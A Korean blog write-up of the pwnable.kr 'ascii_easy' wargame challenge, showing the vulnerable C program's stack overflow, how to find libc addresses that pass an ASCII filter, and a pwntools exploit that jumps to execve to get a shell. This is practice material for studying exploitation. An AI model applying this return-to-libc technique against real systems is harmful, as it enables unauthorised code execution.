본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] ascii_easy

by L3m0n S0ju 2021. 8. 23.


#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c>=0x20 && c<=0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){

    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){ // 파일 상태정보 가져오기
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ // libc 메모리에 로드
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){ // argv 문자 하나씩 필터링 검사
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    vuln(argv[1]); // 통과한 문자열 buf에 복사, 여기서 오버플로우 가능

}

 


코드는 간단합니다. 아스키코드 0x20과 0x7f 사이에 있는 아스키코드에 해당하는 값을 이용하여 오버플로우를 통해 쉘을 획득하면 됩니다. gdb로 확인해보면 vuln 함수의 buf는 ebp에서 28만큼 떨어져있으므로 32바이트만큼의 쓰레기값을 넣고 위에 system같은 함수를 넣으면 쉘을 획득할 수 있습니다.

 

 

 

 

 

 


첫번째로 system 함수의 주소를 구하겠습니다. 위와 같이 readelf -s libc-2.15.so | grep system 명령어로 검색하면 system 함수의 주소는 3eed0입니다. ascii_easy 실행파일의 베이스 주소는 코드의 맨 위에 나와있듯이 0x5555e000이므로 뒤에 0xd0이 이미 0x7f 보다 크므로 아스키 범위를 넘어갔습니다. 따라서 system 함수는 사용할 수 없습니다.

 

 

strings -a -t x libc-2.15.so | grep /bin/sh 명령어로 /bin/sh 위치를 검색해도 주소는 뒤에 0xec가 범위를 넘어서므로 사용 불가능입니다.

 

 

 

 

 


다음으로 objdump -d libc-.15.so | grep execve를 통해서 execve 주소를 찾으면 b876a 주소의 call execve를 보면 0x5555e000과의 합이 0x5561676A이고 아스키 범위에 적합하므로 execve 함수를 사용할 수 있습니다.

 

 

 

 

 

 


execve 함수를 사용하기위해 3개의 인자를 추가해야합니다. 첫번째 인자는 실행할 프로그램 이름입니다. 프로그램은 적절한 주소의 이름을 찾아서 하나 만들겠습니다. strings -tx libc-2.15.so | more 명령어를 입력하고 z키로 한페이지씩 넘기면서 적절한 값을 찾습니다. 0x150000 주소 쯤 가면 쓸만한 문자열들이 보입니다. 저는 text 문자열을 사용하겠습니다.

 

 

 

 


문자열을 찾을 때 주의할 점은 위 그림과 같이 Anthu 문자열을 찾앗다고 가정하고 gdb로 주소를 검색했을 때 문자열 뒤에 \230\210 같이 값이 붙어있다면 사용할 수 없습니다. 아래 text 와 같이 문자열만 깔끔하게 있는 주소를 사용해야 합니다.

 

 

 

 

 


/tmp에 디렉토리를 하나 생성하고 그 안에 text.c 파일을 위와 같이 작성합니다. 그리고 gcc -o text text.c 명령어로 컴파일 합니다.

 

 

 

 

 


다음으로 execve 함수로 파일을 실행할 때 파일이 같은 디렉터리가 아닌 /tmp/(만든폴더) 에 존재하므로 환경변수에 /tmp/(만든폴더)를 추가시켜 줍니다.

 

ex) export PATH=$PATH:/tmp/changgyu2

 

 

 

 

 

 

 

익스플로잇 코드


from pwn import *

 

#UWVS = 0x55577420
#entiu = 0x5557794a
execv = 0x5561676a

null = 0x556f7640
text= 0x556b6524

argv = "a"*32
argv += p32(execv)
argv += p32(text)
argv += p32(null)
argv += p32(null)

p = process(['/home/ascii_easy/ascii_easy', argv])
p.interactive()

 

 

 

 

 

 


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] otp  (0) 2021.08.21
[Pwnable.kr] brain fuck  (0) 2021.08.21
[Pwnable.kr] loveletter  (0) 2021.08.13
[Pwnable.kr] dragon  (0) 2021.08.13
[Pwnable.kr] echo1  (0) 2021.08.08

댓글